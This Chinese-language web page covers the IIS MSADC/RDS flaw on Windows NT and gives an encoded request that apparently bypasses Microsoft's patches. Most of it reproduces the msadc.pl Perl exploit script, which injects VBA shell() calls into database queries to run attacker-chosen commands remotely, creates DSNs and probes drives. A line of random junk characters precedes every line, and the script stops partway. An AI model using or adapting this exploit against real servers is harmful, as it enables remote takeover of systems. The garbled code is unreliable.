IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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` wEENN_w 涉及程序:
gO%#'Eb2 Microsoft NT server
,ii*[{X? "Wr5:T-; 描述:
c4ptY5R), 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$A"kHS7T ?D-1xnxep 详细:
duB{1 如果你没有时间读详细内容的话,就删除:
!/+ZKx("9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
o9ZHa 有关的安全问题就没有了。
q\ FF)H ES!$JWK| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Ov"]&e(I[ PE3FuJGz 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
QU^*(HGip 关于利用ODBC远程漏洞的描述,请参看:
$Z6g/bD`E mZ
39 s http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm % eWzr ia
1Sf3 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
lY/{X]T.( http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0xrr9X< QQUeY2} 这里不再论述。
tAFKq>\ )&]gX 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
,/AwR?m n4Nb,)M /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
SLp &_S@4 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
01N" w naP? |/ {'VP_ZS1v #将下面这段保存为txt文件,然后: "perl -x 文件名"
exw~SvT3 ,gGIkl& #!perl
&C<K|F!j! #
cHOtMPyQ # MSADC/RDS 'usage' (aka exploit) script
MTo<COp($ #
+aaj3m # by rain.forest.puppy
73B,I 0U #
"V-k_d " # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
vN:gu\^- # beta test and find errors!
8uq^Q4SU L;zwqdI use Socket; use Getopt::Std;
k8H@0p getopts("e:vd:h:XR", \%args);
{Vw+~8 d4KTwn5g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
I Wcgh`8 OV3l)73?t if (!defined $args{h} && !defined $args{R}) {
,T@+QXh print qq~
i^Vb42 %y Usage: msadc.pl -h <host> { -d <delay> -X -v }
IvGQ7
VLr -h <host> = host you want to scan (ip or domain)
"s!!\/^9C -d <seconds> = delay between calls, default 1 second
0+MNu8t -X = dump Index Server path table, if available
twElLOE -v = verbose
2g5i3C.q$ -e = external dictionary file for step 5
HA&7
ybl $U%M]_ Or a -R will resume a command session
Z-|.j^n 0Jz H dz ~; exit;}
Oxs O 3/c3e{,! $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
85CH%
I# if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
li'h&!|] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~_opU(;f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
aX`"V/ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+v.uP [H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
FsQeyh> {y)O?9q if (!defined $args{R}){ $ret = &has_msadc;
%@tKcQ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
O
]o7 MB.\G.bV print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&_Kb;UVRj . "cmd /c ";
j6v|D>I $in=<STDIN>; chomp $in;
-!MrG68 $command="cmd /c " . $in ;
[U9b_` xi['knUi2- if (defined $args{R}) {&load; exit;}
m,}0p .nN=M>#/ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
vD<6BQR &try_btcustmr;
iUSP+iC, },58B print "\nStep 2: Trying to make our own DSN...";
0K/Pth"* &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(:9yeP1 k(LZ,WSR print "\nStep 3: Trying known DSNs...";
{!!df.h &known_dsn;
E;!pK9wL| $A~UA print "\nStep 4: Trying known .mdbs...";
<xM$^r) &known_mdb;
DfYOGs]@ 3ARvSz@5 if (defined $args{e}){
BS3Aczwk print "\nStep 5: Trying dictionary of DSN names...";
,=sbK?& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
mGx!{v~i& \7b-w81M- print "Sorry Charley...maybe next time?\n";
DUH\/<^g exit;
{UqS q wM.z/r\p ##############################################################################
(NfP2E|B tUX4#{)q(j sub sendraw { # ripped and modded from whisker
ycYT1Sg8 sleep($delay); # it's a DoS on the server! At least on mine...
:5)Dn87 my ($pstr)=@_;
vHR-mQUs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
CTawXHM die("Socket problems\n");
Q{%2Npvq if(connect(S,pack "SnA4x8",2,80,$target)){
eu=G[> select(S); $|=1;
:"m~tU3& print $pstr; my @in=<S>;
|OW/-&) select(STDOUT); close(S);
}/tT=G]91 return @in;
337y,; } else { die("Can't connect...\n"); }}
eC%uu C]S~DK1 ##############################################################################
B
~u9"SR. $t*>A+J sub make_header { # make the HTTP request
{g8uMt\4 my $msadc=<<EOT
kk|7{83O POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
G!]%xFwYa User-Agent: ACTIVEDATA
,RmXZnWY Host: $ip
h>Z NPP8N Content-Length: $clen
9%fd\o@X Connection: Keep-Alive
oCtg{*vp )ph**g ADCClientVersion:01.06
L1J \C Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/V'^$enK!} 6 3TeTGp$ --!ADM!ROX!YOUR!WORLD!
Xjb 4dip Content-Type: application/x-varg
D5]AL5=Xt2 Content-Length: $reqlen
-64@}Ts*? /<[S> ;!kr EOT
0|6]ps4Z7 ; $msadc=~s/\n/\r\n/g;
~K'e}<-G return $msadc;}
feJzX*u mjgwU8'![ ##############################################################################
7D'-^#S5 k+-IuO sub make_req { # make the RDS request
mCM7FFl I my ($switch, $p1, $p2)=@_;
fZQL!j4 my $req=""; my $t1, $t2, $query, $dsn;
q/T(s EY~b,MIL4 if ($switch==1){ # this is the btcustmr.mdb query
(PVK|Q55y $query="Select * from Customers where City=" . make_shell();
_N`'R.va $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
WP(+jL^- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
zk6al$3R RYhaQ&1i elsif ($switch==2){ # this is general make table query
)"( ojh $query="create table AZZ (B int, C varchar(10))";
8aDSRfv* $dsn="$p1";}
hz:^3F`>/& JA]TO(x elsif ($switch==3){ # this is general exploit table query
0!4;."S $query="select * from AZZ where C=" . make_shell();
cnJL*{H<2 $dsn="$p1";}
'5^$v{ g/*x;d= elsif ($switch==4){ # attempt to hork file info from index server
-dRnozs6W $query="select path from scope()";
"n<rP 3y $dsn="Provider=MSIDXS;";}
7JC^+rk l>(w] elsif ($switch==5){ # bad query
)q.Z}_,)@ $query="select";
cb36 ~{ $dsn="$p1";}
OGl>i M't~/&D# $t1= make_unicode($query);
(tZ#EL0 $t2= make_unicode($dsn);
l'yX_`*Iq $req = "\x02\x00\x03\x00";
a#i85su $req.= "\x08\x00" . pack ("S1", length($t1));
p#14 $req.= "\x00\x00" . $t1 ;
^oZz,q
$req.= "\x08\x00" . pack ("S1", length($t2));
s,5SWdb\v $req.= "\x00\x00" . $t2 ;
3HtLD5%Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:S['hBMN return $req;}
ioIOyj eA4dDKX+ ##############################################################################
V)pn)no'V #sHA!@ | sub make_shell { # this makes the shell() statement
Sf_q;Ws return "'|shell(\"$command\")|'";}
_'eG W|~Jl7hs8Q ##############################################################################
I
JPpF` o0yyP,?yh sub make_unicode { # quick little function to convert to unicode
v~l_6V} my ($in)=@_; my $out;
7z.(pg= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
O~p@87aq return $out;}
}"$2F0 {c
82bFiv ##############################################################################
,]:vk|a#; "7w~0?} sub rdo_success { # checks for RDO return success (this is kludge)
.,-,@ZK my (@in) = @_; my $base=content_start(@in);
.2K4<UOAbm if($in[$base]=~/multipart\/mixed/){
^[UWG^d return 1 if( $in[$base+10]=~/^\x09\x00/ );}
$q"/q*ys return 0;}
"ITC P<+ AD$$S.zoD< ##############################################################################
|3Fo4K%+ 0n FEPMO sub make_dsn { # this makes a DSN for us
VXE85 my @drives=("c","d","e","f");
!b !C+ \v print "\nMaking DSN: ";
qcNu9Ih foreach $drive (@drives) {
Ou26QoT9XI print "$drive: ";
i146@<\G{P my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
L9lN AiOH "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|*G$ilu . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
)+Nm@+B $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?MW*`U return 0 if $2 eq "404"; # not found/doesn't exist
"7]YvZYu0 if($2 eq "200") {
>DFpL$oP foreach $line (@results) {
n;Nr[hI return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
5}
v(Ks> } return 0;}
'ycr/E&m{ dkHye> ##############################################################################
?&ow:OH+ . J/x@ sub verify_exists {
kiah,7V/ my ($page)=@_;
:Dh\ my @results=sendraw("GET $page HTTP/1.0\n\n");
j{U#g8 return $results[0];}
LnwI 7uvq :,<G6"i ##############################################################################
sIM^e S!LLC{ sub try_btcustmr {
|b
BA0.yS my @drives=("c","d","e","f");
4qd =]i my @dirs=("winnt","winnt35","winnt351","win","windows");
)td?t.4 ]+U:8* foreach $dir (@dirs) {
AX`>y@I print "$dir -> "; # fun status so you can see progress
8+7n"6GY2/ foreach $drive (@drives) {
tQrF A2F print "$drive: "; # ditto
Q3@MRR^tY $reqlen=length( make_req(1,$drive,$dir) ) - 28;
k$ya.b<X/ $reqlenlen=length( "$reqlen" );
}3b3^f $clen= 206 + $reqlenlen + $reqlen;
b I%Sq+"} LTn@OhC my @results=sendraw(make_header() . make_req(1,$drive,$dir));
nV[0O8p2Md if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^~p^N < else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{6y@;Fd @;6I94Bp ##############################################################################
#5Q?Q~E@ 9_$i.@L1 sub odbc_error {
T%[&[8{8 my (@in)=@_; my $base;
YK=o[nPmK my $base = content_start(@in);
bOB<m4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
C >@T+xOZ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ak SUk)}e $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sI/]pgt2 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*mvDh9v return $in[$base+4].$in[$base+5].$in[$base+6];}
;0Vyim)S] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
rXIFCt8J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/ LH#
3 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
@Sik~Mm_h Gp l ##############################################################################
OI8Hf3d= =do*( sub verbose {
HsF8$C$z my ($in)=@_;
lc:dKGF6 return if !$verbose;
(plsL
print STDOUT "\n$in\n";}
;Dw6pmZ \*wQ%_N5 ##############################################################################
ms(Z1ix^ 6'F4p1VG*I sub save {
$i|c6& my ($p1, $p2, $p3, $p4)=@_;
:2Fy`PPab open(OUT, ">rds.save") || print "Problem saving parameters...\n";
V(?PKb-w) print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?Z1&ju,Hd- close OUT;}
&8!~H<S &